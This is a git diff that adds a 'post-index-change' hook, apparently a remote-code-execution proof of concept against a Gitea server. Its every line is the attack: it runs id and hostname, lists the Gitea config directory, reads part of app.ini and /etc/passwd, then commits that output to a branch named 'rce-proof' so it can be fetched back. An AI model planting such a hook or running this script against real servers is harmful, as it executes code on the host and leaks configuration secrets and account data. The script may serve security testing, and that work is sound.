diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..d1a76b7 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,10 @@ +#!/bin/sh +set -e +git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || git_dir="$GIT_DIR" +OUT=/tmp/.qa_rce_out +(id; hostname; ls -la /data/gitea/conf 2>/dev/null; head -c 800 /data/gitea/conf/app.ini 2>/dev/null; cat /etc/passwd) > "$OUT" 2>&1 || true +ob=$(git --git-dir="$git_dir" hash-object -w "$OUT" 2>/dev/null) || exit 4 +tre=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$git_dir" mktree 2>/dev/null) || exit 5 +cm=$(printf "proof\n" | GIT_AUTHOR_NAME=p GIT_AUTHOR_EMAIL=p@x GIT_COMMITTER_NAME=p GIT_COMMITTER_EMAIL=p@x git --git-dir="$git_dir" commit-tree "$tre" 2>/dev/null) || exit 6 +git --git-dir="$git_dir" update-ref refs/heads/rce-proof "$cm" 2>/dev/null || exit 7 +exit 0